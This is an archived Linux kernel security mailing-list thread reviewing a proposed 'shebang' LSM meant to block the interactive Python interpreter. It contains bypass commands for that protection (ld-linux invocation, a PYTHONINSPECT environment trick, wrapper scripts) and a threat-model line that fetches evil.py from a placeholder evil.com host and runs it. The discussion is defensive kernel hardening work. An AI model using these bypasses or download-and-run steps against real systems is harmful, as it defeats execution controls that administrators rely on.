Message ID | 1497014528.21594.190.camel@linux.vnet.ibm.com (mailing list archive) |
---|---|
State | New, archived |
Headers | show |
Mimi Zohar wrote: > This patch defines a new, minor LSM named "shebang", that restricts > python such that scripts are allowed to execute, while the interactive > prompt/interpreter is not available. When used in conjunction with an > IMA appraise execute policy requiring files signatures, only signed > python scripts would be allowed to execute. (A separate method for > identifying "imported" code would need to be defined in order to verify > their file signatures.) Below case is blocked by IMA? $ cp -p /usr/bin/python2 /tmp $ /tmp/python2 Below case is also blocked by IMA? $ echo '#!/usr/bin/python2 -' > /tmp/run-python $ chmod +x /tmp/run-python $ /tmp/run-python What about execution via ld-linux ? $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 > +#define MAX_INODES 6 > +static char *pathnames; > +static int pathnames_len; > +static unsigned long inode_list[MAX_INODES]; > +static int total; > + > +/* > + * Get the inodes associated with the list of pathnames, as specified > + * on CONFIG_SECURITY_SHEBANG_PATHNAME. > + */ > +static void init_inode_list(void) > +{ > + char *tmp_pathnames = pathnames; > + char *p; > + struct path path; > + int i; > + int ret; > + > + total = 0; > + while ((p = strsep(&tmp_pathnames, " ,")) != NULL) { > + if ((*p == '\0') || (*p == ' ') || (*p == ',')) > + continue; > + > + if (total > MAX_INODES - 1) { > + pr_info("too many interpreters\n"); > + break; > + } > + > + ret = kern_path(p, LOOKUP_FOLLOW, &path); > + if (!ret) { > + struct inode *inode = d_backing_inode(path.dentry); > + > + inode_list[total] = inode->i_ino; > + pr_info("pathname:%s i_ino: %lu\n", > + p, inode_list[total]); Leaking reference to "struct path". > + initialized = 1; > + total++; > + } > + } > + > + /* cleanup in case we need to lookup the inodes again. */ > + tmp_pathnames = pathnames; > + for (i = 0; i < pathnames_len; i++) > + if (tmp_pathnames[i] == '\0') > + tmp_pathnames[i] = ' '; Why need to restore? > +} > + > +/** > + * shebang_bprm_check - prevent python interactive prompt/interpreter > + * @bprm: contains the linux_binprm structure > + * > + * Restrict python such that scripts are allowed to execute, while the > + * interactive prompt/interpreter is not available. > + */ > +static int shebang_bprm_check(struct linux_binprm *bprm) > +{ > + struct inode *inode = file_inode(bprm->file); > + int i = 0; > + > + if (bprm->interp != bprm->filename) /* allow scripts */ > + return 0; > + > + if (!initialized) > + init_inode_list(); init_inode_list() can be called concurrently. > + > + while (i < total) { > + if (inode_list[i++] != inode->i_ino) > + continue; > + > + pr_info("prevent executing %s (ino=%lu)\n", > + bprm->interp, inode->i_ino); > + return -EPERM; > + } > + return 0; > +} > + > +static struct security_hook_list shebang_hooks[] = { > + LSM_HOOK_INIT(bprm_check_security, shebang_bprm_check) > +}; > + > +static int __init init_shebang(void) > +{ > + pathnames = kstrdup(CONFIG_SECURITY_SHEBANG_PATHNAME, GFP_KERNEL); > + if (!pathnames) > + return -ENOMEM; > + pathnames_len = strlen(pathnames); Why need to kstrdup()? static char pathnames[] = CONFIG_SECURITY_SHEBANG_PATHNAME; static int pathnames_len = sizeof(pathnames) - 1; will be fine. > + > + security_add_hooks(shebang_hooks, ARRAY_SIZE(shebang_hooks), "shebang"); > + pr_info("initialized\n"); > + return 0; > +} > + > +late_initcall(init_shebang); > +MODULE_LICENSE("GPL"); Nice example for loading as a LKM-based LSM. ;-) -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On 6/9/17 10:02 AM, Tetsuo Handa wrote: > Mimi Zohar wrote: >> This patch defines a new, minor LSM named "shebang", that restricts >> python such that scripts are allowed to execute, while the interactive >> prompt/interpreter is not available. When used in conjunction with an >> IMA appraise execute policy requiring files signatures, only signed >> python scripts would be allowed to execute. (A separate method for >> identifying "imported" code would need to be defined in order to verify >> their file signatures.) FYI Mimi posted this because of this current discussion here: http://www.openwall.com/lists/kernel-hardening/2017/06/09/13 > > Below case is blocked by IMA? > > $ cp -p /usr/bin/python2 /tmp > $ /tmp/python2 > > Below case is also blocked by IMA? > > $ echo '#!/usr/bin/python2 -' > /tmp/run-python > $ chmod +x /tmp/run-python > $ /tmp/run-python > Does IMA have a way to prevent the following? I think this is the main case we are protection against with this LSM. $ wget www.evil.com/evil.py $ /usr/bin/python2 evil.py > What about execution via ld-linux ? > > $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 > Just tested this and you are correct, this allows you to bypass the protection. I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters. Matt -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On Fri, 2017-06-09 at 23:02 +0900, Tetsuo Handa wrote: > Mimi Zohar wrote: > > This patch defines a new, minor LSM named "shebang", that restricts > > python such that scripts are allowed to execute, while the interactive > > prompt/interpreter is not available. When used in conjunction with an > > IMA appraise execute policy requiring files signatures, only signed > > python scripts would be allowed to execute. (A separate method for > > identifying "imported" code would need to be defined in order to verify > > their file signatures.) > > Below case is blocked by IMA? > > $ cp -p /usr/bin/python2 /tmp > $ /tmp/python2 > > Below case is also blocked by IMA? > > $ echo '#!/usr/bin/python2 -' > /tmp/run-python > $ chmod +x /tmp/run-python > $ /tmp/run-python > > What about execution via ld-linux ? > > $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 Assuming that you require file signatures on anything that is executed, then only signed binaries, with the public key loaded on to the IMA keyring, would be executed. > > +#define MAX_INODES 6 > > +static char *pathnames; > > +static int pathnames_len; > > +static unsigned long inode_list[MAX_INODES]; > > +static int total; > > + > > +/* > > + * Get the inodes associated with the list of pathnames, as specified > > + * on CONFIG_SECURITY_SHEBANG_PATHNAME. > > + */ > > +static void init_inode_list(void) > > +{ > > + char *tmp_pathnames = pathnames; > > + char *p; > > + struct path path; > > + int i; > > + int ret; > > + > > + total = 0; > > + while ((p = strsep(&tmp_pathnames, " ,")) != NULL) { > > + if ((*p == '\0') || (*p == ' ') || (*p == ',')) > > + continue; > > + > > + if (total > MAX_INODES - 1) { > > + pr_info("too many interpreters\n"); > > + break; > > + } > > + > > + ret = kern_path(p, LOOKUP_FOLLOW, &path); > > + if (!ret) { > > + struct inode *inode = d_backing_inode(path.dentry); > > + > > + inode_list[total] = inode->i_ino; > > + pr_info("pathname:%s i_ino: %lu\n", > > + p, inode_list[total]); > > Leaking reference to "struct path". kern_path() is calling "getname_kernel(name)", but that is later freed. I'm not seeing it. What are you referring to? > > + initialized = 1; > > + total++; > > + } > > + } > > + > > + /* cleanup in case we need to lookup the inodes again. */ > > + tmp_pathnames = pathnames; > > + for (i = 0; i < pathnames_len; i++) > > + if (tmp_pathnames[i] == '\0') > > + tmp_pathnames[i] = ' '; > > Why need to restore? The patch description just mentions replacing the list of pathnames with a set of inodes, but doesn't go into the implications of this change. When the interpreter package is updated, the list of inodes would need to be updated as well. Some method for updating the list of inodes would be needed. Probably the security_inode_unlink and security_inode_rename hooks would be a good place to trigger the inode list update. > > +} > > + > > +/** > > + * shebang_bprm_check - prevent python interactive prompt/interpreter > > + * @bprm: contains the linux_binprm structure > > + * > > + * Restrict python such that scripts are allowed to execute, while the > > + * interactive prompt/interpreter is not available. > > + */ > > +static int shebang_bprm_check(struct linux_binprm *bprm) > > +{ > > + struct inode *inode = file_inode(bprm->file); > > + int i = 0; > > + > > + if (bprm->interp != bprm->filename) /* allow scripts */ > > + return 0; > > + > > + if (!initialized) > > + init_inode_list(); > > init_inode_list() can be called concurrently. Good catch. Thank you. Mimi > > > + > > + while (i < total) { > > + if (inode_list[i++] != inode->i_ino) > > + continue; > > + > > + pr_info("prevent executing %s (ino=%lu)\n", > > + bprm->interp, inode->i_ino); > > + return -EPERM; > > + } > > + return 0; > > +} > > + > > +static struct security_hook_list shebang_hooks[] = { > > + LSM_HOOK_INIT(bprm_check_security, shebang_bprm_check) > > +}; > > + > > +static int __init init_shebang(void) > > +{ > > + pathnames = kstrdup(CONFIG_SECURITY_SHEBANG_PATHNAME, GFP_KERNEL); > > + if (!pathnames) > > + return -ENOMEM; > > + pathnames_len = strlen(pathnames); > > Why need to kstrdup()? > > static char pathnames[] = CONFIG_SECURITY_SHEBANG_PATHNAME; > static int pathnames_len = sizeof(pathnames) - 1; > > will be fine. > > > + > > + security_add_hooks(shebang_hooks, ARRAY_SIZE(shebang_hooks), "shebang"); > > + pr_info("initialized\n"); > > + return 0; > > +} > > + > > +late_initcall(init_shebang); > > +MODULE_LICENSE("GPL"); > > Nice example for loading as a LKM-based LSM. ;-) -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
Mimi Zohar wrote: > > > + ret = kern_path(p, LOOKUP_FOLLOW, &path); > > > + if (!ret) { > > > + struct inode *inode = d_backing_inode(path.dentry); > > > + > > > + inode_list[total] = inode->i_ino; > > > + pr_info("pathname:%s i_ino: %lu\n", > > > + p, inode_list[total]); > > > > Leaking reference to "struct path". > > kern_path() is calling "getname_kernel(name)", but that is later > freed. I'm not seeing it. What are you referring to? See tomoyo_realpath_nofollow() for example. Where is path_put()? -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
Matt Brown wrote: > > What about execution via ld-linux ? > > > > $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 > > > > Just tested this and you are correct, this allows you to bypass the > protection. > > I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 > in the list of interpreters. And there is also PYTHONINSPECT environment variable. ;-) # echo '#!/usr/bin/python2' > run-python # chmod 755 run-python # ./run-python # PYTHONINSPECT=yes ./run-python >>> print "hello" hello >>> -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On 6/9/17 11:41 AM, Tetsuo Handa wrote: > Matt Brown wrote: >>> What about execution via ld-linux ? >>> >>> $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 >>> >> >> Just tested this and you are correct, this allows you to bypass the >> protection. >> >> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 >> in the list of interpreters. > > And there is also PYTHONINSPECT environment variable. ;-) > > # echo '#!/usr/bin/python2' > run-python > # chmod 755 run-python > # ./run-python > # PYTHONINSPECT=yes ./run-python >>>> print "hello" > hello >>>> While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here: http://www.openwall.com/lists/kernel-hardening/2017/06/09/13 Results from my test: $ PYTHONINSPECT=yes ./run-python -bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not permitted and in the dmesg log: TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned directory Matt -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On Fri, Jun 09, 2017 at 12:37:50PM -0400, Matt Brown wrote: > On 6/9/17 11:41 AM, Tetsuo Handa wrote: > > Matt Brown wrote: > >>> What about execution via ld-linux ? > >>> > >>> $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 > >>> > >> > >> Just tested this and you are correct, this allows you to bypass the > >> protection. > >> > >> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 > >> in the list of interpreters. > > > > And there is also PYTHONINSPECT environment variable. ;-) > > > > # echo '#!/usr/bin/python2' > run-python > > # chmod 755 run-python > > # ./run-python > > # PYTHONINSPECT=yes ./run-python > >>>> print "hello" > > hello > >>>> > > While this bypass works against this LSM alone, when combined with > Trusted Path Execution this is prevented for non-root/untrusted user. > This is why I feel like this is such a great feature to combine with TPE > as I said here: > > http://www.openwall.com/lists/kernel-hardening/2017/06/09/13 > > Results from my test: > > $ PYTHONINSPECT=yes ./run-python > > > -bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not > permitted > > and in the dmesg log: > TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned > directory What if you just use any existing python script on the system? jason@meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge emerge: command-line interface to the Portage system Usage: emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ] emerge [ options ] [ action ] < @system | @world > emerge < --sync | --metadata | --info > emerge --resume [ --pretend | --ask | --skipfirst ] emerge --help Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw] [ --color < y | n > ] [ --columns ] [ --complete-graph ] [ --deep ] [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD ] [ --newrepo ] [ --newuse ] [ --noconfmem ] [ --nospinner ] [ --oneshot ] [ --onlydeps ] [ --quiet-build [ y | n ] ] [ --reinstall changed-use ] [ --with-bdeps < y | n > ] Actions: [ --depclean | --list-sets | --search | --sync | --version ] For more help consult the man page. Traceback (most recent call last): File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module> sys.exit(retval) SystemExit: 1 >>> -- Jason -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On 6/9/17 12:43 PM, Jason Zaman wrote: > On Fri, Jun 09, 2017 at 12:37:50PM -0400, Matt Brown wrote: >> On 6/9/17 11:41 AM, Tetsuo Handa wrote: >>> Matt Brown wrote: >>>>> What about execution via ld-linux ? >>>>> >>>>> $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 >>>>> >>>> >>>> Just tested this and you are correct, this allows you to bypass the >>>> protection. >>>> >>>> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 >>>> in the list of interpreters. >>> >>> And there is also PYTHONINSPECT environment variable. ;-) >>> >>> # echo '#!/usr/bin/python2' > run-python >>> # chmod 755 run-python >>> # ./run-python >>> # PYTHONINSPECT=yes ./run-python >>>>>> print "hello" >>> hello >>>>>> >> >> While this bypass works against this LSM alone, when combined with >> Trusted Path Execution this is prevented for non-root/untrusted user. >> This is why I feel like this is such a great feature to combine with TPE >> as I said here: >> >> http://www.openwall.com/lists/kernel-hardening/2017/06/09/13 >> >> Results from my test: >> >> $ PYTHONINSPECT=yes ./run-python >> >> >> -bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not >> permitted >> >> and in the dmesg log: >> TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned >> directory > > What if you just use any existing python script on the system? > > jason@meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge > emerge: command-line interface to the Portage system > Usage: > emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ] > emerge [ options ] [ action ] < @system | @world > > emerge < --sync | --metadata | --info > > emerge --resume [ --pretend | --ask | --skipfirst ] > emerge --help > Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw] > [ --color < y | n > ] [ --columns ] > [ --complete-graph ] [ --deep ] > [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD ] > [ --newrepo ] [ --newuse ] [ --noconfmem ] [ --nospinner ] > [ --oneshot ] [ --onlydeps ] [ --quiet-build [ y | n ] ] > [ --reinstall changed-use ] [ --with-bdeps < y | n > ] > Actions: [ --depclean | --list-sets | --search | --sync | --version ] > > For more help consult the man page. > Traceback (most recent call last): > File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module> > sys.exit(retval) > SystemExit: 1 >>>> > > -- Jason > crap you're right. This does work. what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security. Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable? Matt -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
Matt Brown wrote: > what does everyone thing about a envp_blacklist option that is a list of > environmental variables that will be stripped from exec calls. This can > be done in the LSM hook bprm_check_security. Stripping argv[0] can be done by remove_arg_zero(). But stripping specific environmental variables is a bit complicated than what you would think. You can see tomoyo_environ() for how to whitelist environmental variable names. > > Is there any reason on a hardened system why you would need the > PYTHONINSPECT environmental variable? TOMOYO and CaitSith try to check such factors (e.g. argv/envp as well as pathname manipulations). -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
Matt Brown wrote: > > What about execution via ld-linux ? > > > > $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 > > > > Just tested this and you are correct, this allows you to bypass the > protection. > > I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 > in the list of interpreters. I'm not using BTRFS/OCFS2, but what about reflink()? They are copy-on-write while separate inodes are used. Does that mean inode number differs but attributes associated with that inode is same (i.e. inode number based blacklisting fails)? -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote: > On 6/9/17 12:43 PM, Jason Zaman wrote: >> On Fri, Jun 09, 2017 at 12:37:50PM -0400, Matt Brown wrote: >>> On 6/9/17 11:41 AM, Tetsuo Handa wrote: >>>> Matt Brown wrote: >>>>>> What about execution via ld-linux ? >>>>>> >>>>>> $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2 >>>>>> >>>>> >>>>> Just tested this and you are correct, this allows you to bypass the >>>>> protection. >>>>> >>>>> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 >>>>> in the list of interpreters. >>>> >>>> And there is also PYTHONINSPECT environment variable. ;-) >>>> >>>> # echo '#!/usr/bin/python2' > run-python >>>> # chmod 755 run-python >>>> # ./run-python >>>> # PYTHONINSPECT=yes ./run-python >>>>>>> print "hello" >>>> hello >>>>>>> >>> >>> While this bypass works against this LSM alone, when combined with >>> Trusted Path Execution this is prevented for non-root/untrusted user. >>> This is why I feel like this is such a great feature to combine with TPE >>> as I said here: >>> >>> http://www.openwall.com/lists/kernel-hardening/2017/06/09/13 >>> >>> Results from my test: >>> >>> $ PYTHONINSPECT=yes ./run-python >>> >>> >>> -bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not >>> permitted >>> >>> and in the dmesg log: >>> TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned >>> directory >> >> What if you just use any existing python script on the system? >> >> jason@meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge >> emerge: command-line interface to the Portage system >> Usage: >> emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ] >> emerge [ options ] [ action ] < @system | @world > >> emerge < --sync | --metadata | --info > >> emerge --resume [ --pretend | --ask | --skipfirst ] >> emerge --help >> Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw] >> [ --color < y | n > ] [ --columns ] >> [ --complete-graph ] [ --deep ] >> [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD ] >> [ --newrepo ] [ --newuse ] [ --noconfmem ] [ --nospinner ] >> [ --oneshot ] [ --onlydeps ] [ --quiet-build [ y | n ] ] >> [ --reinstall changed-use ] [ --with-bdeps < y | n > ] >> Actions: [ --depclean | --list-sets | --search | --sync | --version ] >> >> For more help consult the man page. >> Traceback (most recent call last): >> File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module> >> sys.exit(retval) >> SystemExit: 1 >>>>> >> >> -- Jason >> > > crap you're right. This does work. > > what does everyone thing about a envp_blacklist option that is a list of > environmental variables that will be stripped from exec calls. This can > be done in the LSM hook bprm_check_security. > > Is there any reason on a hardened system why you would need the > PYTHONINSPECT environmental variable? As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P -Kees
Kees Cook wrote: > On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote: > > what does everyone thing about a envp_blacklist option that is a list of > > environmental variables that will be stripped from exec calls. This can > > be done in the LSM hook bprm_check_security. > > > > Is there any reason on a hardened system why you would need the > > PYTHONINSPECT environmental variable? > > As part of shebang, it likely makes sense to whitelist (rather than > blacklist) the env of the restricted interpreters. Though this is > starting to get complex. :P Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine. While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it before rename(). -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On 10/06/2017 07:27, Tetsuo Handa wrote: > Kees Cook wrote: >> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote: >>> what does everyone thing about a envp_blacklist option that is a list of >>> environmental variables that will be stripped from exec calls. This can >>> be done in the LSM hook bprm_check_security. >>> >>> Is there any reason on a hardened system why you would need the >>> PYTHONINSPECT environmental variable? >> >> As part of shebang, it likely makes sense to whitelist (rather than >> blacklist) the env of the restricted interpreters. Though this is >> starting to get complex. :P > > Blacklisting environment variables is dangerous. I think that > administrators can afford whitelisting environment variable names. > I think that implementing whitelist of environment variable names > as an independent LSM module would be fine. > > While it is true that things starts getting complex if we check environment > variables, shebang will already become complex if it starts worrying about > updating inode number list in order to close the race window between doing > creat()+write()+close()+chmod()+rename() by the package manager and teaching > the kernel the new inode number determined by creat(). We will need an > interface for allowing the package manager to teach the kernel the new inode > number and modification of the package manager, for the kernel side is doing > inode number based blacklisting while user side can execute it before rename(). > -- > To unsubscribe from this list: send the line "unsubscribe linux-security-module" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed. This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy. The "security.tpe.environment" could also be set on a script file to be part of the union with the interpreter's environment whitelist. This may be needed to be able to use environment variables as configuration in a script. In the future, a "security.tpe.memory" could contain a set of flags as PaX uses for mprotect-like exceptions (user.pax.flags). Userland daemons such as paxctld or paxrat could be used (with some tweaks) to keep a consistent TPE policy over time. Mickaël [1] https://lkml.kernel.org/r/1497015878.21594.201.camel@linux.vnet.ibm.com
On 06/10/2017 01:27 AM, Tetsuo Handa wrote: > Kees Cook wrote: >> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote: >>> what does everyone thing about a envp_blacklist option that is a list of >>> environmental variables that will be stripped from exec calls. This can >>> be done in the LSM hook bprm_check_security. >>> >>> Is there any reason on a hardened system why you would need the >>> PYTHONINSPECT environmental variable? >> >> As part of shebang, it likely makes sense to whitelist (rather than >> blacklist) the env of the restricted interpreters. Though this is >> starting to get complex. :P > > Blacklisting environment variables is dangerous. I think that > administrators can afford whitelisting environment variable names. > I think that implementing whitelist of environment variable names > as an independent LSM module would be fine. How is blacklisting environmental variables more dangerous than whitelisting? I'm just suggesting the blacklist be used for the environmental vars used to bypass the interpreter protections. I don't think we need a full blown LSM for that. > > While it is true that things starts getting complex if we check environment > variables, shebang will already become complex if it starts worrying about > updating inode number list in order to close the race window between doing > creat()+write()+close()+chmod()+rename() by the package manager and teaching > the kernel the new inode number determined by creat(). We will need an > interface for allowing the package manager to teach the kernel the new inode > number and modification of the package manager, for the kernel side is doing > inode number based blacklisting while user side can execute it before rename(). > Isn't there a way to take a reference to the inode to prevent the race condition? I was thinking that a sysfs file could be written to to update the list of interpreter paths. Matt -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote: > On 10/06/2017 07:27, Tetsuo Handa wrote: > > Kees Cook wrote: > >> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote: > >>> what does everyone thing about a envp_blacklist option that is a list of > >>> environmental variables that will be stripped from exec calls. This can > >>> be done in the LSM hook bprm_check_security. > >>> > >>> Is there any reason on a hardened system why you would need the > >>> PYTHONINSPECT environmental variable? > >> > >> As part of shebang, it likely makes sense to whitelist (rather than > >> blacklist) the env of the restricted interpreters. Though this is > >> starting to get complex. :P > > > > Blacklisting environment variables is dangerous. I think that > > administrators can afford whitelisting environment variable names. > > I think that implementing whitelist of environment variable names > > as an independent LSM module would be fine. > > > > While it is true that things starts getting complex if we check environment > > variables, shebang will already become complex if it starts worrying about > > updating inode number list in order to close the race window between doing > > creat()+write()+close()+chmod()+rename() by the package manager and teaching > > the kernel the new inode number determined by creat(). We will need an > > interface for allowing the package manager to teach the kernel the new inode > > number and modification of the package manager, for the kernel side is doing > > inode number based blacklisting while user side can execute it before rename(). I don't think we're trying to protect against executing the interpreter prior to the rename. Rename, itself, would trigger associating the interpreter name with an inode number. > > -- > > To unsubscribe from this list: send the line "unsubscribe linux-security-module" in > > the body of a message to majordomo@vger.kernel.org > > More majordomo info at http://vger.kernel.org/majordomo-info.html > > > > Using filesystem xattr seems like a good idea for this kind of > exceptions and instead of a hardcoded interpreter path. Something like > "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) > and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to > configure a security policy for some binaries. This could also be > protected by IMA/EVM, if needed. Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route. > This kind of xattr should be writable by the owner of the file. The TPE > LSM [1] could then take these xattr into account according to the TPE > policy. Security xattrs are only writable by root. Mimi > The "security.tpe.environment" could also be set on a script file to be > part of the union with the interpreter's environment whitelist. This may > be needed to be able to use environment variables as configuration in a > script. > > In the future, a "security.tpe.memory" could contain a set of flags as > PaX uses for mprotect-like exceptions (user.pax.flags). > > Userland daemons such as paxctld or paxrat could be used (with some > tweaks) to keep a consistent TPE policy over time. > > Mickaël > > > [1] https://lkml.kernel.org/r/1497015878.21594.201.camel@linux.vnet.ibm.com > -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On Sun, 2017-06-11 at 22:32 -0400, Mimi Zohar wrote: > On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote: > > Using filesystem xattr seems like a good idea for this kind of > > exceptions and instead of a hardcoded interpreter path. Something like > > "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) > > and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to > > configure a security policy for some binaries. This could also be > > protected by IMA/EVM, if needed. > > Checking for the existence of an xattr without caching is relatively > slow. I'm not sure that we would want to go this route. For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea. Perhaps the two xattrs could be combined? Mimi -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On 12/06/2017 04:32, Mimi Zohar wrote: > On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote: >> On 10/06/2017 07:27, Tetsuo Handa wrote: >>> Kees Cook wrote: >>>> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote: >>>>> what does everyone thing about a envp_blacklist option that is a list of >>>>> environmental variables that will be stripped from exec calls. This can >>>>> be done in the LSM hook bprm_check_security. >>>>> >>>>> Is there any reason on a hardened system why you would need the >>>>> PYTHONINSPECT environmental variable? >>>> >>>> As part of shebang, it likely makes sense to whitelist (rather than >>>> blacklist) the env of the restricted interpreters. Though this is >>>> starting to get complex. :P >>> >>> Blacklisting environment variables is dangerous. I think that >>> administrators can afford whitelisting environment variable names. >>> I think that implementing whitelist of environment variable names >>> as an independent LSM module would be fine. >>> >>> While it is true that things starts getting complex if we check environment >>> variables, shebang will already become complex if it starts worrying about >>> updating inode number list in order to close the race window between doing >>> creat()+write()+close()+chmod()+rename() by the package manager and teaching >>> the kernel the new inode number determined by creat(). We will need an >>> interface for allowing the package manager to teach the kernel the new inode >>> number and modification of the package manager, for the kernel side is doing >>> inode number based blacklisting while user side can execute it before rename(). > > I don't think we're trying to protect against executing the > interpreter prior to the rename. Rename, itself, would trigger > associating the interpreter name with an inode number. > >>> -- >>> To unsubscribe from this list: send the line "unsubscribe linux-security-module" in >>> the body of a message to majordomo@vger.kernel.org >>> More majordomo info at http://vger.kernel.org/majordomo-info.html >>> >> >> Using filesystem xattr seems like a good idea for this kind of >> exceptions and instead of a hardcoded interpreter path. Something like >> "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) >> and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to >> configure a security policy for some binaries. This could also be >> protected by IMA/EVM, if needed. > > Checking for the existence of an xattr without caching is relatively > slow. I'm not sure that we would want to go this route. > >> This kind of xattr should be writable by the owner of the file. The TPE >> LSM [1] could then take these xattr into account according to the TPE >> policy. > > Security xattrs are only writable by root. This is currently the case but an exception for this kind of LSM could be allowed, or another dedicated prefix could be used.
